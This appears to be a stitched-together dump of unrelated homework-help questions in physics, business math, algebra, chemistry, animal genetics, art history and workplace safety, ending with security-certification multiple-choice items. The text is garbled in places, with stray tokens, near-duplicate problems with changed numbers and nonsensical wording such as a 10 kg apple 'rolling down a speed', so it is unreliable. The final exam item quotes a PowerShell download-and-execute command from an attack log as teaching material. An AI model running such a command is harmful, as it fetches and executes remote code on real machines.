aramracla23

if an apple has a mass of 10kg and is rolling down a speed of 50cm/s, what's the kinetic energy?

Carter and Isabella run a carwash business. They split the revenue 50/50. They are deciding on if they should join forces with Carla's carwash.

If they join with Carla, the combined carwash will make $2400 more per month, but they'll have to split revenue equally (33.3/33.3/33.3).

On an average month, Carter and Isabella's carwash makes $6000.

How much more or less would Carter or Isabella individually make if they merged with Carla's carwash?This question is required.*

Charles buys​ factory-reconditioned hedge trimmers for $40 each and sells them online for $68 each. He has a fixed cost of $300 per month. If x is the number of hedge trimmers he sells per​ month, then his revenue and cost​ (in dollars) are given by Upper R left parenthesis x right parenthesis equals 68 xR(x)=68x and Upper C left parenthesis x right parenthesis equals 40 x plus 300C(x)=40x+300.

Find a formula for the function Upper P left parenthesis x right parenthesis equals Upper R left parenthesis x right parenthesis minus Upper C left parenthesis x right parenthesisP(x)=R(x)−C(x). For what values of x is his profit​ positive?

The cost and revenue functions for producing and selling x units of a product are given. Cost and revenue are expressed in dollars. Upper C left parenthesis x right parenthesis equals 95 x plus 50 comma 100C(x)=95x+50,100 Upper R left parenthesis x right parenthesis equals 195 xR(x)=195x

a. What is the number of units that must be produced and sold to break​ even?

units ?

What is the dollar amount coming in and going​ out?

​$ ?

b. What is the profit​ function?

​P(x)= ?

​(Simplify your​ answer.)

I need help with this problem. Thank You

the marketing research department for a company that producesdigital cameras, arrived the the following price-demand revenue andcost function:

p(x) = 94.8 - 5x

R(x) = x(94.8 - 5x)

C(x) = 156 + 19.7x

Where p(x) is the whole sale price per camera at which x millioncameras can be sold. Both revenue and cost functions are in milliondollars with 0 <=x <= 15.

1- Find the value of x to the neareset thousand cameras thatwill produce the maximum revenue. What is the maximum revenue tothe neares thousand dollars.

2- Find the break-even points algebraically to the nearesthousand cameras.

3- For what values of x will a loss occur ?? A profit?

please show me the solution in details, if you can dothe answer on a paper in details and graphs and scan the paperhere, it will be great.

<p>The supply function for a product relates the number of units x that producers are willing to supply for a given price per unit p. The supply and demand functions for a market are:<br /><br />Supply: p = 2/5x + 4<br />Demand: p = -16/25x + 30<br /><br />Determine the equilibrium point for the market.<br /><br />Answer: The market is at the equilibrium when ______ units are produced and the price per unit is $______.<br /><br />Please show your work.</p>

A certain cable car in San Francisco can stop in 10 seconds whentraveling at maximum speed. On one occasion, the driver sees a doga distance x meters in front of the car and slams on the brakesinstantly. The car reaches the dog 8 seconds later, and the dogjumps off the track just in time. If the car travels 4.0 metersbeyond the position of the dog before coming to a stop, what canyou find out about the cable car and the dog in terms of theinitial velocity of the car, the postition of the dog, theacceleration of the car and the time.

• PART  2:

   

  PURPOSE:

   

  The purpose of this assignment is to demonstrate the use of digital technology to support and enhance in managing occupational safety and health issues.

   

  REQUIREMENT:

   

  The manufacturing industry can pose a range of hazards to workers, depending on the specific type of manufacturing involved. 

   

  The production of plastic in the industry typically involves the following steps:

   

  1. Raw material selection: The first step in making plastic is selecting the raw materials.
  2. Polymerisation: The selected raw materials are then subjected to polymerisation, which involves chemically bonding the individual molecules together to create long chains of polymers. This process can be carried out in several ways, such as by using heat, pressure, or a catalyst.
  • Additives: After polymerisation, various additives are added to the polymer to modify its properties, such as color, strength and flexibility. These additives can include pigments, stabilisers, and plasticisers.
  1. Processing: Once the plastic material has been produced and the additives have been added, it can be processed into the desired shape. This can be done through a variety of methods such as injection molding, blow molding, extrusion, or thermoforming.
  2. Quality Control: Finally, the finished plastic products are subjected to quality control testing to ensure that they meet the required specifications and standards.

   

  Based on the above processes, perform the following tasks:

   

  • Identify the hazards associated with each step of the plastic manufacturing process.
  • Propose the control measures for each of the identifiedy hazards.
  • Prepare ONE (1) E-safe operating procedure (E-SOP) which include all the processes.

Kitagawa Utamaro: Kitagawa Utamaro, Hairdressing (fromTwelve Types of Women's Handicraft),1798-99. Woodblock print.

Edgar Degas: Edgar Degas, Woman Having her Hair Combed, c. 1886-88. Pastel on paper.

Susan Rothenberg, Maggie's Ponytail,

1993-94. Oil on Canvas.

They depict the same subject (a woman having her hair combed) but in very different styles. How would you describe the styles represented by Utamaro, Degas, and Rothenberg? Are there areas where the artists' representations overlap?

What strategic plan for yourself to begin planning for a job after graduation? Include your: value proposition, targeted organization, objectives, strategies, the internal and external factors that may affect your plans. 

Why Refraction takes place 

A certain cable car is San Francisco can stop in 10 s when traveling at maximum speed. On one occasion, the driver sees a dog a distance d m in front of the car and slams on the brakes instantly. The car reaches the dog 7.50 s later, and the dog jumps off the track just in time. If the car travels 3.62 m beyond the position of the dog before coming to a stop, how far was the car from the dog? [Hint: You will need three equations.]

A certain cable car is San Francisco can stop in 10 s when traveling at maximum speed. On one occasion, the driver sees a dog a distance d m in front of the car and slams on the brakes instantly. The car reaches the dog 7.63 s later, and the dog jumps off the track just in time. If the car travels 3.79 m beyond the position of the dog before coming to a stop, how far was the car from the dog

A car travels along a straight road at a constant speed of 20 meters per second. The car's brakes can decelerate it at a rate of 5 meters per second squared. If the car's driver sees an obstacle and applies the brakes, how far will the car travel before coming to a complete stop?

Simply, write answers with only positive exponents, assume all variables represent nonzero real numbers:

(-2x^3y^-4)^0(-3x^-4y^-5)^2

perform the indicated operations:

If P(x) = x^4-6x^3 + 5x - 3 FIND P(-2)

FACTOR:

dk + 3d - 7k -21

X^2+3x-2

Add or Subtract as indicated:

1/2k - 1/3k + 1/6k

y+6/2y^2+5y-12 + 5/6y-9

Perform the indicated operations:

y^2 - 36/y^2 -4 * y^2 +6y+8/y^2 -2y-24

w^2+2w/w^2-9 Divided by w^2+7w+10/w^2+8w+15

Solve for the variable B in this formula:

A = B + CD/BC +D

American tower corporation

Would yo invest in this company and why? (Financial answer)

What is making the company successful or not successful? Explain

This is English homework and i need help , it is from the book Unbroken

SIMPLIFYTHE COMPLX FRACTION

1. The mean adult weight of your pig population is 720 lbs. P1 is an outstanding pig and has an adult weight of 650 lbs. After carrying out matings between P1 with any sows from your population, you obtained a new population (i.e. progeny of P1). The mean adult weight of the progeny population is only 780  lbs.

a. What is your estimate of P1’s breeding value?

b. Assuming there is no dominance or epistasis at the loci that influence adult weight, calculate P1’s genotypic value (G), environmental effect (E), and gene combination value (GCV)

2. You measure the body weight of a cattle population. The variance of body weight is 50 lbs^2 and the variance caused by permanent environmental effect is 10 lbs^2 . The correlation coefficient between body weight and breeding value is 0.4. The repeatability of body weight is 0.8.

a. What is the narrow-sense heritability h^2?

b. What is the variance of breeding values?

c. What is the variance of gene combination values?

1. Solve the equation 3x + 7 = 22.

An ideal solution at 298 K is made up of the volatile liquids A and B. As the pressure is reduced from 450 Torr, the first vapor is observed at a pressure of 70.0 Torr. Calculate xA.

PLEASE NOTE I've looked up the question. My professor DID NOT include pure vapor pressures of A and B in the question. That's why I'm posting this

Volatile liquids A and B are completely miscible and form ideal solutions in all proportions. The pure vapor pressures at 298K are PA* = 500. torr and PB* = 200. torr. Using Excel may reduce the amount of time required to complete the following requested effort. Calculate, at 0.1 mole fraction intervals (x_A = 0, 0.1, 0.2, . . . , 1) PA, PB, Ptotal, and y_A, which is the vapor phase mole fraction of A. (i)Present these calculations in a suitable table. (ii)Plot PA, PB and Ptotal, vs. x_A, and plot Ptotal, vs. y_A on the same mole fraction scale as x_A. All four plots should superimposed on the same axes as in the adjacent figure, but with labels for the lines/curves.

Substances A and B are both volatile liquids with p*A = 300 Torr and p*B = 200 Torr, respectively. When the mole fraction of A, XA = 0.9, pA = 250 Torr and pB = 25 Torr. Calculate the activities of A and B. Use Raoult's Law for substance A, and Henry's Law for substance B.

2. Consider two liquids that are mixed together, A and B. When they are mixed together, a plot of vapor pressure versus mixture composition shows a positive deviation from Raoult’s law. What does this tell us about the two liquids, as well as the intermolecular forces at play in the system?

A bank is working with a security architect to find the BEST solution to detect database management system compromises. The solution should meet the following requirements:

✑ Work at the application layer

✑ Send alerts on attacks from both privileged and malicious users

✑ Have a very low false positive

Which of the following should the architect recommend?

1. FIM
2. WAF
3. NIPS
4. DAM
5. UTM

An organization's existing infrastructure includes site-to-site VPNs between datacenters. In the past year, a sophisticated attacker exploited a zero-day vulnerability on the VPN concentrator. Consequently, the Chief Information Security Officer (CISO) is making infrastructure changes to mitigate the risk of service loss should another zero-day exploit be used against the VPN solution.

Which of the following designs would be BEST for the CISO to use?

1. Adding a second redundant layer of alternate vendor VPN concentrators
2. Using Base64 encoding within the existing site-to-site VPN connections
3. Distributing security resources across VPN sites
4. Implementing IDS services with each VPN concentrator
5. Transitioning to a container-based architecture for site-based services

A security compliance requirement states that specific environments that handle sensitive data must be protected by need-to-know restrictions and can only connect to authorized endpoints. The requirement also states that a DLP solution within the environment must be used to control the data from leaving the environment.

Which of the following should be implemented for privileged users so they can support the environment from their workstations while remaining compliant?

1. NAC to control authorized endpoints
2. FIM on the servers storing the data
3. A jump box in the screened subnet
4. A general VPN solution to the primary network

A DevOps team has deployed databases, event-driven services, and an API gateway as PaaS solution that will support a new billing system.

Which of the following security responsibilities will the DevOps team need to perform?

1. Securely configure the authentication mechanisms.
2. Patch the infrastructure at the operating system.
3. Execute port scanning against the services.
4. Upgrade the service as part of life-cycle management.

A security analyst has noticed a steady increase in the number of failed login attempts to the external-facing mail server. During an investigation of one of the jump boxes, the analyst identified the following in the log file:

powershell `IEX(New-Object Net.WebClient).DownloadString ('

Which of the following security controls would have alerted and prevented the next phase of the attack?

1. Antivirus and UEBA
2. Reverse proxy and sandbox
3. EDR and application approved list
4. Forward proxy and MFA